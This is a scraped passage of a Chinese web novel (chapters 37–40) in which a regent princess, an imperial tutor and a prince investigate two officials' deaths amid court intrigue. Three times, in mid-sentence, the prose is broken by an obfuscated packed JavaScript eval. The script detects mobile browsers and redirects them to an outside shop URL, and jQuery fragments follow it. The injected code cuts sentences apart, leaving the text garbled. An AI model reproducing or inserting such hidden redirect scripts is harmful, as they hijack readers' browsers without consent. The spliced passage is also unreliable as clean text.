关于那三年间的事,关于先太子的事,杨灵允什么都不说。 若她是真放下了,真不在意,说不说便也无所谓。可她分明没有放下,她只是在压着情绪,强撑着不想示弱,所以什么都不肯说。 可人总要一个宣泄的出口。 只是还没等林魏然找到什么方法能让杨灵允肆无忌惮地发泄一番,长安风云又起——前冀州刺史吴安和监察御史赵临意外死在了福安酒楼。 在长安这种落下块牌匾都能砸到一个穿朱着紫之人的地方,这两位的官职似乎有些不够看。 但他们身上有一个很重要的共同点——都在冀州待过很长一段时间。 而就在这种敏感的时候,伴随着两位朝廷官员死讯传来的是——冀州王安王,入京了。 37. 第 37 章 重明殿上,杨灵允及朝中的几位重臣正在议事,议的便是这两位关于意外死亡一事。 中书令王正安先出声,“安王回京声势浩大,长安百姓人人皆知。如今又赶上两位与冀州相关的官员死于非命,坊间已是议论纷纷。” 尚书令云厉皱眉道:“可我听闻这两位是在福安酒楼喝多了酒,下楼时突发心疾而死,当时福安酒楼中还有不少百姓皆可为证。” 门下侍中宁安侯冷笑一声,“可我听闻,当夜在福安酒楼宴请这二位的,是云相之子。云相如今说这话,是想将自己儿子摘干净吗?” 云厉神色未变,拱手道:“启禀公主,那夜吏部侍郎云谦确实在福安酒楼宴请这二位,但也只为公事,顺便尽尽同僚之谊。况且这两位官员在云谦离开后,还在福安酒楼多喝了将近一个时辰的酒。” 说着,他忽然回头望了一眼,微笑道:“林尚书,这些你比我清楚,还是由你来讲罢。” 林魏然虽为帝师,但身上兼着刑部尚书一职。 而云厉作为尚书令,辖管六部尚书,这样算起来,林魏然也是他的下属。 宁安侯与云厉在先帝朝时便是出了名的不对付,朝堂掐架乃是常事。如今林魏然到了云厉手下做事,更让他不满。 不过林魏然倒是接受良好,上前拱了拱手道:“臣等走访了当夜在福安酒楼的所有人,云侍郎于当夜戍时三刻离开福安酒楼,而吴刺史和赵御史与戍时末从二楼包间离开,中间相隔近一个时辰。” “死因呢?”杨灵允终于开口了。 林魏然脸上露出迟疑之色,“仵作说——他们身上都没有明显外伤,且是在众目睽睽之下于二楼到一楼的楼梯上倒下,当场死亡。” 杨灵允意味不明地笑了一声,“所以你想说,他们就是喝酒喝死的?” 林魏然沉默片刻,才说:“臣还有一点要补充,当夜此二人倒下的地方,据酒楼老板所言,刚有人来修缮过。臣以为,此案尚有蹊跷,此时下定论为时尚早。” 云厉面上闪过一丝烦躁之色。他不理解为什么两位不起眼官员的死亡值得林魏然这般在意,甚至杨灵允也大动干戈地召了他们所有人来议事。 区区五品的小官,他们配吗? 但无论心中怎么想,云厉都没在脸上表露出来,只是看了林魏然一眼,又语重心长道:“林尚书啊,我知你年轻气盛。可这两人身为朝堂官员,身负重任却如此酗酒,没有再治他们的罪已是公主开恩了。” 他字字句句都是在隐射林魏然小题大做,是为邀功。 此话一出,众人脸色都有些微妙,尤其是其余五部的尚书——毕竟他们辛辛苦苦才坐到尚书这个位置,林魏然一个被贬三年的人,年纪又轻,一回来就能跟他们平起平坐,凭什么? 宁安侯见状,旋即冷笑着回呛:“云相这么着急想将这二人的死定为意外,莫不是这二人之死与云相有关?” 云厉陡然沉下脸色,冷声道:“林相,饭可以乱吃话可不能乱说,还是林相在林氏躲了三年,连是非对错都分不清了?” 他这话戳中了宁安侯的痛处。 眼见宁安侯勃然大怒就要动手,杨灵允不得不狠狠一拍桌子,厉喝道:“够了!” 场面才渐渐缓和下来。 杨灵允沉着脸,冷声道:“乌山一案,姑母已逝,本宫也无意再追究。既然林太傅说此案有蹊跷,那此案便由你负责。七日之内,给本宫一个交代。” 她说着,眼神不经意地扫过云厉,又补充道:“安王不是也回京了吗?此案中的两名死者都与冀州有关,就让安王一同协查。” 王正安最先应下:“公主圣明。” 连王正安这个最有资历的都发话了,云厉和宁安侯也没再说什么。 众人告了安,陆陆续续地离开重明殿。 重明殿外,宁安侯和云厉依旧是互相看不顺眼。 宁安侯瞧不起云厉一副自视清高的做派——不过是个先帝为了打压他们世家而扶起来的一枚棋子罢了。 云厉也瞧不起宁安侯的世家子弟做派——高傲个什么劲? 不过两人好歹还有些分寸,没有真的在宫中动起手来,互骂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210724|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几句便一左一右地走了。 林魏然多留了一会,将宫中可能有细作一事告知了杨灵允才离开,出来时便看到这两人怒气冲冲地离开的身影,轻叹一声,抬脚往宁安侯离开的那个方向去了。 只是他出宫后没看见宁安侯,却看见了王正安。 “王相。” “林太傅,”王正安面上还挂着和蔼的笑容,看林魏然的眼神就像是在看一个器重的后生,“林太傅年轻有为,前途无量啊。” 林魏然微笑着谦虚了几句,刚想着找个借口离开,却又听王正安道:“只是林太傅到底是陛下的老师,与公主太过亲密,难免惹人误会不是?” 他是来敲打自己的。 林魏然微微眯了眯眼,收敛了笑容,淡淡道:“王相言重了。如今陛下年幼,公主辅政,公务难道不向公主汇报,只向王相汇报吗?” 王正安似乎没感觉到林魏然言语中的冷意,依旧笑眯眯道:“那自然得向公主汇报。不过陛下早晚是要亲政的,林太傅还是得早做打算呐。” 他言辞恳切,当真在为林魏然考虑。 林魏然沉默片刻,平静道:“我做事只求无愧于心。” “是吗?”王正安语带深意,“那就希望林太傅能坚守本心,从一而终。” 说吧,他率先离开。 渐渐远去的背影有些佝偻,在强烈的日光下也变得模糊不清。 连带着过往一起模糊在无数的鲜血、死亡和政权交迭间。 他忽然想起来——八年前,他与宣和的赐婚即将下来时,太子府中,王正安笑眯眯地说,日后你两成婚,老夫我可要当见证人呐。 当时的日光也如今日一般璀璨。 不过林魏然这点细腻心思并没有传到重明殿内,杨灵允在重明殿内坐了很久,翻出一封略有卷边的信,摩挲许久却也没打开,只是让杨言叫来了安乐。 信就这样被放到一旁,信封上“临安长公主亲启”七个字,写得张扬大气。 若安王在此,一定会认得出来——这是他母妃,云贵太妃云婉的字迹。 38. 第 38 章 云厉一回府,就从管家口中得知——安王已在厅中等了许久。 他脸上闪过喜色,官服都来不及换便急匆匆地赶去正厅。 “外祖。”安王见云厉一进门,便礼数周到地起身行礼。 “安王殿下快快请起,”云厉脸上是真切的高兴,连忙扶起他,“一路奔波回京,定是累了,我已叫人备了饭菜,很快就好。” 安王有些勉强地笑了一下,又问道:“外祖,我母妃的丧仪……” 云厉脸上的笑容逐渐消失,轻叹一声道:“礼部的人已经办好了,你舅舅全程盯着,你娘走得体面。” 他说着,眼神又变得锐利:“安王殿下,你如今回京,可是有了打算?我早已联系过冀州及剑南、江南两道的世家,只要……” 他言语间渐渐染上迫切,但又被安王硬生生打断——“外祖,母妃刚刚离世,我没心情想这些。” 厅内顿时寂静下来。 云厉脸色也沉了下来。 片刻后又道,“你知道你娘是怎么死的吗?你知道你刚刚回京,就有两名冀州相关的官员意外身亡吗?” “安儿,”他重重地吐出一口气,“她一上台就开始清算,现下三王党羽清算完毕,大长公主也死了。如今就算你不想争,她也不会放过你。这两名官员之死,就是警告你懂吗?” 安王定定地看着云厉,片刻后忽然扯了扯嘴角,摩挲着手上的扳指,眼底露出暗色,缓声道来:“外祖,母妃因何而死,你应该比我更清楚。” 云厉微怔,陡然意识到什么。 然而片刻之内,他就极快地遮掩起所有神色。 眉心挤出沟壑,眼底也变得有些浑浊,疲惫的老态爬上云厉的面孔:“是,我是让婉儿去杀了杨灵允。可我也是为了你好啊。杨灵允不死,清算的刀子早晚要落到你头上啊!” “安儿,”他慢慢抬手按在了安王的肩上,一字一字道,“事已至此,你我已经没有退路了。只要你一声令下,外祖上刀山下火海也会杀了杨灵……” “够了!”安王冷声打断了云厉。 在他警告般的眼神中,云厉一怔,慢慢垂下了眼,又一点点松手,脱力般坐下,仰头阖眼,神色也变得淡漠,淡淡道:“罢了,安王殿下若想治我的罪,大可把我告上大理寺或刑部。” 他褪去了属于云相的威压,仿佛只是一个为小辈操碎了心,小辈却不领情的老者。 但他心底清楚得很,安王是个重情的,必不会亲手将自己的亲人送上刑场。 这招以退为进果然奏效。 质问的厉色缓缓消失,安王面上流露出一丝痛苦之色,低声喃喃:“不要逼我……外祖。” 云厉依旧半阖着眼,神色不变,只是语调中难掩疲色:“安儿,不是外祖逼你,是杨灵允在逼我们。她今日大动干戈地宣了政事堂所有人去重明殿议事,议的却是两个小官员的死亡?若不是他们与冀州相关,杨灵允怎会如此放在心上?” “安儿啊……”他又叹息道,“我看她那阵仗,是要有人为那两人的死负责了。而与他们关系最密切的,就是你了啊。” 他说着,缓缓抬头看了一眼站在对面的安王,略有浑浊的眼底染上些透明的水光。 “你娘走了,就算为了你娘,你也要好好活着啊。” 安王不知道自己是如何走出云府的。 他来云府本是想问清楚母亲之死,想向云厉讨一个说法。可如今说法讨到了,却被云厉用“为你好”三字死死困住了。 不得不做这个艰难又痛苦的决定。 他疲惫地靠在了云府的外墙上,看着街上来往行人,缓缓阖上了眼。 外祖啊,你当真是为我好吗? 他不敢再细想。他也不知道该如何决断。 八年前父皇冷漠的面孔又浮现在眼前——那是他第一次见到父皇冷脸,也是最后一次。 那时皇兄被废,就算他与皇兄交情再好,对那个位置也难免心动。 不过那份动心,很快就被父皇毫不留情地抹杀,然后他就被母亲远送去了冀州。 其实那时他是怨恨的。既然父皇不允许旁人指沾东宫之位,又为何要废了皇兄?给他希望? 只是在远离长安的富饶冀州中,他过得也挺好,这份怨恨和不满已经渐渐消失。 却在今日又被云厉勾起。 想到这里,安王又掀起眼皮看了眼街上来来往往的百姓——他们过得也很好。 自陛下登基以来,虽然杨灵允一直在清算三王旧党,但也有很多人在稳定朝政,造福百姓。 真的要再亲手将这一切毁掉吗? 安王心思浮动,然而没过多久,就被一个声音打碎——“安王殿下。” 他掀起眼皮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233173|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟是林魏然。 皇兄的表弟。 曾经的太子伴读,雍州司马,如今的帝师。 “你找我?”他又阖上眼皮,冷淡问道。 林魏然抬脚走近,温和的声音一如过往:“安王殿下难道不想查清那两位冀州相关的官员究竟为何而死吗?” 安王猛然睁眼,“你什么意思?” “公主殿下让你我协查此案,”林魏然缓声道,“此案出现得太过蹊跷,还有大长公主之死也尚未查明真凶,安王殿下难道就不想将一切都弄明白吗?” 余晖落满了林魏然全身,让他的轮廓变得有些朦胧,似真似幻,看不真切。 就像此人的立场一样。 安王沉默很久才扯扯嘴角,反问道:“这是我想弄明白就能弄得明白吗?” “是,”林魏然语气坚定,“只要安王殿下想查明白一切,下官定会倾尽一切帮你。” 安王斜倚在墙上,泛黄的日光落在他眼底,像是蒙上了一层朦胧的纱,看不清真切的情绪。 他反问道:“本王凭什么信你?” 林魏然脸上的笑容未变,只是眉眼间露出几分难得的锋利:“因为我也想弄清事情的真相。” 安王嗤笑一声,意有所指:“即使这真相不是你想要的真相呢?” “那我也想弄明白,”林魏然语气平静,“无论如何,终究是两条人命。” 安王微微眯起眼打量着林魏然,脸上露出属于皇族的高高在上:“林太傅,本王记得,当年我们一同读书时,王相便说过,你这个人太公正了,追着一个理字不放,容易撞得头破血流。” 林魏然闻言,低声笑了:“如此,安王殿下不更该放心吗?” 见安王又沉默了下来,林魏然又抛出了最令他动摇的筹码:“下官只希望安王殿下能明白,长安城中街巷交错,并不是只有一条路可以走。” 他的意有所指让安王心头狠狠一跳,几乎以为林魏然听到了他与云厉在府中的对话。 但安王下一刻就反应过来——云厉向来小心谨慎,怎么可能让林魏然有可趁之机? 落日一点点西斜,余晖渐渐消失在天际。 直到天边只剩最后一抹残存的光时,安王终于伸出了手,手心掌纹复杂交错,他的声音和面孔都隐在暗处,捉摸不透。 “那好,本王信你一回。” 39. 第 39 章 夜幕降临之前,林魏然与安王一同去见了两名死者,吴安和赵临的家眷。 吴安本是长安人士,五年前被调去冀州做刺史,独自赴任,家眷都留在京中。此番回京,是任期已满,回京后便可进吏部做事。 吴安家在崇仁坊内,是座三进院的大宅子,但家中只有一母一妻。 林魏然与安王上门时,是管家将他们引进正厅见了吴安妻子,宋靡。 宋靡脸上犹有泪痕,沙哑着声音说吴母得知吴安死讯后哭得肝肠寸断,如今卧病在床。 林魏然点点头表示理解,眼神不经意地转过一圈正厅,缓缓问道:“吴夫人,吴安是昨日落之前抵达,他回京后可有谁来拜访过?” 宋靡怔愣片刻,才慢慢摇头:“夫君回来后,只回家换了身衣裳,便出去了,说是与人约好了在福安酒楼见面,没想到……” 说着说着,女人又掩面哭泣。宽敞的正厅之内回荡着细细的抽泣声。 安王下意识地看了眼林魏然,用眼神询问他接下来该怎么办。 林魏然微微摇头,等着宋靡自己慢慢冷静下来,又开口问道:“那吴安回家时可带了什么?” 宋靡抽了抽鼻子,声音沙哑:“带了些衣裙首饰。” 林魏然眯了眯眼,追问一遍:“没别的了?” 这追问中多了几分审犯人的意味。 宋靡神色忽然变得难看,哑声质问:“你什么意思?” 林魏然脸上又挂上笑,客气地拱手道:“吴夫人息怒,只是例行询问。” 等出了吴宅大门,安王才皱眉问林魏然:“你刚刚问她那话是什么意思?” 林魏然看了他一眼,倒也痛快:“我昨夜就得到了吴安和赵临的死讯,特意去城门口看过。吴安入城之后,城门便锁上了,所以他留下的车辙印很清晰。那车辙印很深,据守门的士兵说,车上只有吴安一人。一个人是留不下这么深的车辙印,就算加上整箱的衣服首饰也不可能。” “你是说……”安王语气犹疑,“吴安还带了别的东西回京?会是什么?” “我怎么知道?”林魏然撇了安王一眼,“还有那正厅,偌大个见客的地方,空空荡荡,怎么会一个摆件都没有?” “或许只是他家节俭呢?”安王反驳。 “节俭?”林魏然轻嗤一声,“崇仁坊多是朝中重臣居住之地,又与王公贵族所住的永兴、永嘉坊相邻,吴安家境普通,往上数十辈也没出过什么大官。崇仁坊的宅子是他五年前调任冀州前买的。五年前他刚刚当上三品刺史,又买了崇仁坊的宅子,自然是要装点门面,怎么可能留那样一个空荡到寒酸的正厅来见客?” 安王不得不承认林魏然这一番话确实有道理,他离京多年,早已不熟悉京城的这些人,便虚心求教:“那依你所见,是为何?” 林魏然沉吟片刻:“我猜测,是吴安的死讯吴府后,吴家就把家中上下重新整理了一遍。你没发现吗?我们今日去的时候,那正厅可干净极了。” “主人逝世,家中仆人不忙着置办丧事,还有心情扫洒整理?”安王若有所思,“这吴府看着很有问题啊。” 此时两人正一边说一边往另一个死者的家中走去,天色黯淡,路上人也不多。 林魏然转头看了眼安王,忽然问道:“吴安在冀州当了五年刺史,他是何为人安王殿下不清楚吗?” 安王倏然沉默。 路边灯笼将他们二人的身影渐渐拉长扭曲,走了好一会,安王才慢慢开口:“冀州自有冀州官员来管,冀州官员自有朝廷来管。这些与我无关。” 林魏然没再吭声。 两人就这么默默无言地走了一段路,在即将敲响赵临家门时,安王忽然又开口:“这也是长公主和母妃所希望的,对吧?” 林魏然手停在半空,顿了片刻才淡淡道:“殿下是冀州王。” 他显然还想说什么,只是话到嘴边又吞了下去,抬手叩响了赵家的大门。 来开门的是个女人,先前刑部认尸时林魏然见过一面,是赵临的夫人赵清。 赵家位于安善坊,是座不大的一进院。 赵夫人局促地将两人请进了堂屋,“家中只剩我与乐乐两人,招待不周,怕是怠慢两位上官。” 林魏然笑了笑:“赵夫人言重,是我们叨扰了。” 赵清看上去有些紧张,又问道:“上官前来,是可以把夫君还给我了吗?” “这恐怕还不行,”林魏然叹气道,“赵御史之死还有些疑点尚需查清。” 女人一下失落,垂了眼,声音听上去也变得失魂落魄。 “夫人先前在刑部说,赵御史回京后,是回家了一趟才去的福安酒楼,是吗?” 赵清点头,“他从南边回来,把带的东西放回家后就去福安酒楼了。” 安王迫不及待地追问:“他带了什么?” 赵清似乎是被他这副急切的模样吓到了,一时愣住。 林魏然轻轻拧眉看了他一眼,温声安抚道:“夫人放心,是御史台担心赵御史把巡案记录夹在别的东西里面,所以才让我们过来问问。” 赵清咽了口唾沫,才小心翼翼地点头:“他给乐乐带了些书,给我带了些首饰。上官稍后,我这就去拿过来。” 说着,她就快步离开堂屋,留安王和林魏然两人在堂屋相顾无言。 “你刚刚问那个吴夫人不就是这样问的吗?”安王撇撇嘴,不服气道,“怎么轮到我就不行了。” 林魏然无奈:“询问的态度也要分人。这赵夫人一看就是老实本分又胆小的,你这般追问,她肯定以为是不是自家夫君犯了什么事,万一什么都不说岂不糟糕?” “所以你说吴夫人不老实?” 林魏然捻着指尖,缓声道:“不,只是先前我们询问时,她手上一直重复一个动作,像是……打算盘。” “所以呢?”安王追问,“就算她会打算盘,又能说明什么?” “说明她在紧张,”林魏然娓娓道来,“人在紧张之时,会下意识地重复让自己感到安全的行为。” 安王一脸怀疑:“你这是什么歪理?” 林魏然一摊手,淡淡道:“做了这么多年捕贼官,跟各种凶犯打交道的经验。” 安王并未完全取信,还想再说什么,但见赵清捧着两个匣子进来,也只好闭嘴。 “就是这两个。”赵清将两个匣子打开放在桌上。 一个匣子装着些首饰和胭脂,一个匣子装着两三本游记,并没有什么特别。 “这是冀州书局独有的,记的都是南边风光。”安王拿起其中一本游记,饶有兴味地端详着。 不过还没拿起来片刻,一个脆生生的声音忽然响起——“不许动我的东西。” 是门边站的一个六七岁的女孩,拧着眉头瞪着安王。 赵清连忙上前拉住女孩,“乐乐不许胡说,快向这位上官道歉。” 她又小心翼翼地向安王赔笑:“这位上官,小孩子不懂事……” 只是话还没说完,赵乐见安王无动于衷,一下就哭了出来:“这是爹爹送给我的!” 小孩子的声音又脆又尖,吵得人头痛。安王连忙放下,“好好好,本……我不动你的东西。” 林魏然也忙上前帮忙哄孩子。 他本就不是安王那种极富侵略性的长相,而是偏向少年气的清俊,哄人时又特意挂上温柔的笑意,乐乐很快就被哄好了,还胆大地想伸手摸一摸他的脸。 林魏然不动声色地避开,又道:“乐乐昨夜是见过爹爹吗?” 赵乐点头,摇头晃脑:“不过就见了一面,爹爹就急急忙忙地走了,而且穿得好奇怪……” “赵乐!”女孩的话被赵清厉声打断,这个在见面之后就始终唯唯诺诺的女人忽然露出了另一副面孔。 赵乐嘴巴一扁,又要哭出来了。 安王头疼地挥挥手,让赵清赶紧把赵乐带走。 林魏然没多阻拦,但起身跟了出去。安王在堂屋内犹豫了一下,到底还是没跟出去。 庭院内,已是夜幕沉沉,月上枝头。 林魏然等赵清安抚好赵乐,才缓缓问道:“穿得很奇怪?” 赵清低着头,神色不明。 林魏然没多纠结在此事上,换了个问题:“赵临的巡案记录在哪里?” 这一回,赵清再也装不下去了,巡案记录这四字彻底点燃了她的怒火。 她猛然抬头,字字句句都是质问:“一年前是你让赵临南下巡案,如今赵临死了,你就不管了是吗?” 面对女人愤怒的质问,林魏然眼皮都没抬一下:“我若是不管,赵临这案子早就结了。” “那你为何要带他来?你分明知道赵临南下的目的是冀州,还把冀州王带到我家,你是想逼死我跟乐乐吗!” 女人逼视着林魏然,压着嗓子诘问道。只是开春的暖风轻轻卷过,很快就吹散了她的声音。 林魏然重重地叹口气,直视着女人眼底的怒火,平静地问道:“那赵临又为何要去赴云谦的约呢?” 赵清一怔。 林魏然继续道:“我带冀州王来,是公主的命令。他赴云谦的约,难道也是公主的命令吗?” “公主的命令……?”赵清喃喃着,神色恍惚。 “巡案记录,到底在哪?”林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305804|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魏然敲了敲手心,“你昨夜什么都不肯说,今夜我便亲自上门。把记录给我,我会派人护送你和乐乐回青州。长安的事,你们再也不会卷进来。” “那他呢?”赵清仰头直直地盯着林魏然,“我的夫君呢?” 对着女人几近崩溃的脆弱眼神,林魏然下意识地阖了阖眼,才轻声道:“节哀。” “节哀?节哀??”赵清死死地盯着林魏然,然后用力眨了眨眼,逼回眼底的泪水,脸上露出一个比哭还难看的笑,轻声反问,“你让我节哀?” 林魏然抬手掐了掐眉心:“我知道如今我说什么都不管用。但是赵临已死,你知道的,他的心血不能白白浪费。” 庭院内又变得死寂。 无风无声,连斜月都躲到了云层之后,庭院内又没点着灯笼,更显黯淡。 过了很久,赵清似乎是妥协了,用衣袖狠狠擦了擦眼角,“他昨夜回家时穿着黑兜帽,像是在躲着谁。他没有把记录给我,只给了我那两匣东西。” 赵清说着,将两个空匣子交到林魏然手上,“首饰和书你看过了,毕竟是他给我留的最后一点念想,你不会也要收走吧?” 林魏然掂了掂匣子,轻叹一声,“不会,你留着吧。” “我走后,很快会有人带你们出城。听到三长一短的敲门声再开门。”幸好今日穿的是宽袖,林魏然将匣子收起来,对赵清拱了拱手,垂眼道,“很抱歉,赵夫人。等案子查清,我会传信告诉你的。” 赵清看着林魏然,已经恢复了平静:“我现在不走。” 林魏然离开的脚步又顿住,微微拧眉:“长安现下不太平,后面还会更乱,你们……” “你不是一直派人守着我家附近吗?”赵清毫不客气地打断了他的话,语带嘲讽,“堂堂太傅大人,不会连自己手下的家眷都护不住吧?” 林魏然沉默片刻,“可以,那你想什么时候回青州?” “等你把赵临的死查清楚。” 林魏然阖了阖眼,轻声道:“好,我再派几个护卫过来。” 他说完便抬脚离开。 女人声音又在他身后幽幽响起——“赵临为你干了这么多年事,如今他死了,你连滴眼泪也没流,反而带着人直上我家逼我。” 林魏然的脚步再次顿在原地。 赵清的语气无波无澜,平静得像一滩死水:“世人都道你林太傅温文尔雅,翩翩君子,心怀天下为民做事。可我看,哪里是温文尔雅,分明是冷心冷肺啊林太傅。” 她的声音很轻,夜风一吹就散了。 但字字都狠狠敲在林魏然心上。他在原地沉默片刻,却也只回头拱了拱手,轻声再次说了一遍:“夫人节哀。” 但他必须要在杨灵允对云氏动手之前拿到赵临的巡案记录。这是他与赵临说好的。 赵清看着林魏然一步一步走进堂屋。她本想跟上去,脚下却踉跄了一下,扶着庭院内的桌子才稳住身形。 但当她视线落到桌上时,面对林魏然时的逼问和嘲讽忽然就消失得无影无踪。她慢慢抬手遮住了眼睛,失声痛哭。 …… 堂屋内,安王稳坐在老旧的木椅上,见林魏然进来,斜眼看他:“你骗本王。” 林魏然笑了声:“下官如何骗安王殿下了?” “真话假话掺着说,”安王冷哼道,“你可真是高明啊林太傅。” 他脸色并不好看,但言语间却并没有深究到底的意思。 林魏然神色微暗,斟酌片刻索性直接试探:“赵临南下曾遇到一次刺杀。他说,救他的人不像是普通百姓,倒像是皇室……” 他话没说完,安王忽然起身,沉了脸色:“闭嘴。” 林魏然从善如流:“我只是想把账都算清楚,不想让不该死的人也白白送了命。” 安王冷着脸,率先摔门而出。 林魏然紧随其后,打量着他渐渐融于黑暗的背影。 他并不知道杨灵允为何突然改变心思,让安王跟他一起查案。但旨令已下,他只能用尽一切来阻止杨灵允无所不用其极地清算,阻止朝堂出现失衡的局面。 杨灵允不会放过云氏,他一清二楚。但安王……或许还有转机。 可当清算云氏的时候,安王到底会站在哪一边呢? 林魏然思忖着,缓缓捏了捏袖中的两个匣子——匣子重量不对,巡案记录很显然就藏在其中。 赵临躲躲藏藏地回家,想必是一进京就被云谦的人盯上了。他也知道自己会派人保护他家,所以他家才是最安全的地方。 可赵临又为什么去赴云谦的约呢? 云谦手上还有什么赵临的软肋? 40. 第 40 章 “云厉的软肋就是安王。” 深夜的太极宫内,杨灵允站在窗边,背对着坐在榻上的小皇帝,声音平静。 小皇帝看着杨灵允的背影,眨眨眼问道:“可如今安王与林太傅在一同查案,姐姐现在就要对安王动手吗?” ……“只求长公主殿下能放安王一马,他是个好孩子。” 小皇帝清脆的声音渐渐消失,在杨灵允耳中幻化成女人温柔又悲伤的面孔——“看在我曾救过你一命的分上,放过我儿子好吗?” 杨灵允狠狠闭了闭眼,把云婉从自己的脑海中抹去,“我已经让人把我即将对安王动手的消息散布出去了。” “姐姐?”小皇帝沉了脸色,“你想做什么?” 杨灵允转身看着小皇帝,笑了一下,像是安抚:“别担心陛下。很快就都结束了。” —— “还没结束?”冰室外,安王等得有些不耐烦,对林魏然道,“还要多久?如今已是二更,再不睡觉可就没法睡了。” 林魏然阖眼坐在椅上,淡淡道:“现下还在验尸,安王殿下可在此等候休息。” 安王怀疑自己是不是上了林魏然的贼船。他先前请他一同查案时可不是这个态度。 “这椅子又旧又硬,还没个毯子,怎么睡?” 在安王语气不善的质问下,林魏然眼皮也没抬一下,“刑部条件简陋,还请安王殿下见谅。” 好了确定了,就是上了林魏然的当。 安王愤愤地磨了磨牙,眼珠一转,又问道:“你当初是不是也是这样骗宣和?” 这回林魏然终于有了反应,掀起眼皮看了安王一眼:“安王殿下在说什么?” “别装模做样,”安王撇撇嘴,“当年你和宣和的赐婚圣旨马上就要下来了,宣和却不顾还没好全的身子突然回宫,然后你们这赐婚就没了下文。这事本王可知道得一清二楚。” “真的是宣和后悔了?” 他侧了侧身子,凑近了好奇追问。 林魏然抬手将他凑近的面孔推回去,似笑非笑:“安王殿下今夜颇有兴致啊?连七八年前的旧事都这般好奇。” 是在试探什么吗? 林魏然微微眯了眯眼,疑心渐起,抬手示意后面的刑部守卫加强防备。 安王没察觉他这细微的小动作,双手交叉着撑在脑后,阖眼懒洋洋地坐在椅子上:“其实我当年就想问问到底发生了什么事,只是那时……被别的事耽搁了,所以没了机会。反正今夜无事,闲着也是闲着。” 他说得一派坦然,似乎就是无聊的好奇心作祟。 林魏然沉默片刻,忽然起身看了一眼安王:“当年宣和回宫后没多久,就传来了太子被废幽禁东宫的消息。” 安王陡然睁眼,“皇兄被废,与你们婚事有关?” 林魏然看着他的眼睛,没再说话。安王像是忽然想到了什么,眼底闪过暗色,又极快地阖眼:“算了,提这些旧事也没意思。” 但他嘴角却微微抿起,似乎意识到了什么不好的事情。 林魏然看了片刻,才慢慢坐回自己的位置。 其实当初他也不明白为何宣和会突然回宫,明明前一日还好好的。 可当表哥被废的消息传来时,父亲和太子党的那些老臣的态度终于让他渐渐明白——是他与宣和这桩婚事滋生了先帝对表哥的怀疑。 宣和背后是手握兵权的傅氏,而他是太子表弟。他们二人的婚事,并非只代表他们自己。 但其中仍有一个疑点。当年表哥被废之前,先帝从未展露过半分对太子的不满。就算这桩婚事引得先帝起疑心,也不该这般利落地就废了太子。 其中或许还有人在煽风点火。 想到这,林魏然下意识转头看了眼安王——那时先帝的五个儿子都已成年,太子被废,对其他四个皇子都有好处。 安王究竟是否参与其中? 或者,云氏? 还未等他想出什么别的,冰室的门忽然被用力推开,两个仵作兴奋地跑出来——“发现了!” 林魏然与安王几乎是同时起身:“发现什么了?” “吴安是中毒而死!赵临则是被一支银针穿耳而死!” 其中一名仵作小心地展开一块白布,布上放着一支比寻常银针粗上数倍的银针。但看长度,还不到一个手掌。 也难怪第一次验尸时没有发现。 “银针穿耳,当即毙命。只是另一具尸体的毒……我们检查了当夜所有的饭菜酒水,也没发现有毒。” 仵作挠挠头,有些惭愧。 林魏然眼神落在银针上,皱眉重复了一边:“你确定能当即毙命?” “是,“仵作笃定地点头,“下官老家就有过此例,下官亲眼所见。” 林魏然陡然沉了神色,拿上披风大步往外:“去叫王清安,我要再去福安酒楼一趟。” 深夜,宵禁,本不能出门。 幸好林魏然得了杨灵允的手令,才得以顺利地进入福安酒楼。 酒楼已被勒令停业,掌柜的就住在酒楼内,见林魏然三人一来,迫不及待地问道:“三位上官,是查清了案子,我可以开门了吧?” 林魏然毫不留情地打碎他的幻想:“想什么呢?我是再来看一遍案发现场。” 他大步流星地往一楼通向二楼的楼梯走,掌柜小跑着跟上:“我这一直老老实实做生意,你们……你们再这样,我就要去找我们当家的了!” 林魏然没理会,细细检查了一遍了案发现场,包括案发当日新做的装饰,都没出现任何机关。 一切正常。 “没有机关,如何当场倒下毙命?”王清安拧眉不解。 “还有一种可能,”林魏然沉声道,“吴安杀了赵临。” “死人杀了死人?”王清安不赞同,“这……不合理罢?” 一直沉默着袖手旁观的安王忽然出了声:“你说吴安杀了赵临?倒是有可能。” 但王清安问为何时,他又沉默不语了。 林魏然缓声道来:“我记得当时有一份在场之人的供词是这样说——‘就他们两个下楼,走路摇摇晃晃的,一个扶着一个,肯定是喝多了酒。’” “夜晚酒楼的灯并不亮,在场之人多少也喝了酒,离得远,楼梯上又只有他们二人。若吴安搀着的是一个死人,并不容易被发现。” 王清安眼睛一亮,握拳拍掌,恍然大悟:“对啊,这样说来,吴安定是杀赵临的真凶。” “可吴安为何也死了呢?” 